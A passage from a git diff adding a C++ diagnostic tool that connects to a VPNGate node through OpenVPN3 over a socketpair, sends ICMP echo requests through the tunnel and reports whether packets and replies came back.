the node list failed: {}", fetch_ec.message()); + return 2; + } + } + + vpngate::ParseResult pr; + std::string err; + if (!vpngate::parse_node_list(body, &pr, &err)) { + LOG_ERROR(kMod, "node list is not parseable: {}", err); + return 2; + } + LOG_INFO(kMod, "{} nodes parsed -- {}", pr.nodes.size(), pr.stats.summary()); + + // ---- pick one ----------------------------------------------------------- + // Deliberately not the selector: this tool is about the tunnel, and mixing + // in the scoring logic would make a failure ambiguous. + const vpngate::Node *chosen = nullptr; + const vpngate::Remote *remote = nullptr; + if (!opt.node.empty()) { + for (const auto &n : pr.nodes) { + if (n.host_name == opt.node || n.ip == opt.node) { + chosen = &n; + break; + } + } + if (!chosen) { + LOG_ERROR(kMod, "no node matching '{}'", opt.node); + return 2; + } + remote = chosen->pick_remote(opt.udp); + } else { + // Highest VPNGate score that offers the protocol we want. + int64_t best = -1; + for (const auto &n : pr.nodes) { + const vpngate::Remote *r = n.pick_remote(opt.udp); + if (!r) continue; + if (opt.udp && r->proto != vpngate::Proto::Udp) continue; + if (n.api.score > best) { + best = n.api.score; + chosen = &n; + remote = r; + } + } + } + if (!chosen || !remote) { + LOG_ERROR(kMod, "no usable node found"); + return 2; + } + LOG_INFO(kMod, "trying {} ({}, score {}) via {}:{}/{}", chosen->id(), + chosen->country_short, chosen->api.score, remote->host, remote->port, + vpngate::proto_name(remote->proto)); + + // ---- connect ------------------------------------------------------------ + OvpnConfig cfg; + cfg.connect_timeout_s = 25; + cfg.tunnel_up_timeout_s = 35; + + auto tc = ovpn::TunnelClient::create(io, cfg); + if (!ovpn::TunnelClient::supported()) { + LOG_ERROR(kMod, "this build has no openvpn3 (-DOVG_WITH_TUNNEL=ON)"); + return 2; + } + + bool came_up = false; + bool finished = false; + size_t packets = 0; + size_t echo_replies = 0; + std::vector buf(ovpn::kMaxPacketSize); + + // Reads whatever the tunnel delivers and decodes just enough of each packet + // to show that the framing is what we assumed. + std::function read_one = [&] { + tc->pipe().socket().async_receive( + asio::buffer(buf), [&](std::error_code ec, size_t n) { + if (ec) { + if (ec != asio::error::operation_aborted) + LOG_INFO(kMod, "tun read ended: {}", ec.message()); + return; + } + tc->pipe().note_received(n); + // ICMP echo reply: type 0 at the start of the payload. + if (n >= 28 && (buf[0] >> 4) == 4 && buf[9] == 1 && + buf[(buf[0] & 0x0f) * 4] == 0) + ++echo_replies; + if (++packets <= 12) + LOG_INFO(kMod, "rx #{}: {}", packets, + describe_ip_packet(buf.data(), n)); + else if (packets % 200 == 0) + LOG_INFO(kMod, "rx {} packets", packets); + read_one(); + }); + }; + + asio::steady_timer pinger(io); + uint16_t seq = 0; + std::string tun_ip; + std::function ping_once = [&] { + const auto pkt = build_icmp_echo(tun_ip, opt.ping, 0x4f56, ++seq); + if (pkt.empty()) { + LOG_ERROR(kMod, "cannot build an echo request for {} -> {}", tun_ip, + opt.ping); + return; + } + const auto st = tc->pipe().send_packet(pkt.data(), pkt.size()); + LOG_INFO(kMod, "tx echo request #{} {} -> {} ({} bytes): {}", seq, tun_ip, + opt.ping, pkt.size(), + st == ovpn::PacketPipe::SendStatus::Ok ? "queued" + : st == ovpn::PacketPipe::SendStatus::Dropped ? "DROPPED" + : "PIPE CLOSED"); + pinger.expires_after(std::chrono::seconds(2)); + pinger.async_wait([&](std::error_code ec) { + if (!ec) ping_once(); + }); + }; + + asio::steady_timer deadline(io); + + // Everything that keeps the io_context alive has to be taken down together, + // the pending tun read included: leaving it armed means the final drain + // never returns. + auto shutdown = [&] { + deadline.cancel(); + pinger.cancel(); + if (tc->pipe().is_open()) { + std::error_code ignored; + tc->pipe().socket().cancel(ignored); + } + tc->stop([&] { finished = true; }); + }; + + deadline.expires_after(std::chrono::seconds(opt.seconds)); + deadline.async_wait([&](std::error_code ec) { + if (ec) return; + LOG_INFO(kMod, "{}s elapsed, shutting down", opt.seconds); + shutdown(); + }); + + if (!tc->start(*chosen, *remote, [&](ovpn::TunnelState st, + const ovpn::TunnelInfo &info, + const std::string &detail) { + LOG_INFO(kMod, "state -> {}{}{}", ovpn::tunnel_state_name(st), + detail.empty() ? "" : ": ", detail); + if (st == ovpn::TunnelState::Up) { + came_up = true; + LOG_INFO(kMod, + "pushed: ip={}/{} gw={} mtu={} dns=[{}] redirect_gw={} " + "routes={} server={}", + info.ipv4, info.prefix4, info.gateway4, info.mtu, + fmt::join(info.dns, ","), info.redirect_gateway, + info.routes.size(), info.server_ip); + // A tunnel that comes up but carries nothing is the failure this + // tool is really looking for. Nothing else generates traffic here, + // so send something that has to be answered. + tun_ip = info.ipv4; + ping_once(); + } else if (st == ovpn::TunnelState::Down) { + shutdown(); + } + }, + &err)) { + LOG_ERROR(kMod, "start failed: {}", err); + return 2; + } + + // Only now: pipe() is guaranteed valid from a successful start(), not before. + read_one(); + + while (!finished && !io.stopped()) { + if (io.run_one() == 0) break; + } + io.run(); // drain the stop callback + + const auto ctr = tc->pipe().counters(); + LOG_INFO(kMod, + "result: up={} tx={} pkts/{} B (dropped {}) rx={} pkts/{} B, " + "{} echo replies", + came_up, ctr.tx_packets, ctr.tx_bytes, ctr.tx_dropped, + ctr.rx_packets, ctr.rx_bytes, echo_replies); + + if (!came_up) { + LOG_ERROR(kMod, "tunnel never came up"); + return 1; + } + if (ctr.rx_packets == 0) { + LOG_ERROR(kMod, + "tunnel came up but no IP packet ever arrived on the pipe -- " + "the socketpair-as-tun assumption needs re-checking"); + return 1; + } + if (echo_replies == 0) { + LOG_ERROR(kMod, + "packets arrive but none of them answered our echo requests; " + "the node may be filtering ICMP, so this is inconclusive rather " + "than a verdict on the tun plumbing"); + return 1; + } + LOG_INFO(kMod, + "OK: openvpn3 took the socketpair as its tun, our hand-built IP " + "packet reached {} and the reply came back unframed", + opt.ping); + return 0; +} diff --git a/var/.gitkeep b/var/.gitkeep new file mode 100644 index 0000000..e69de29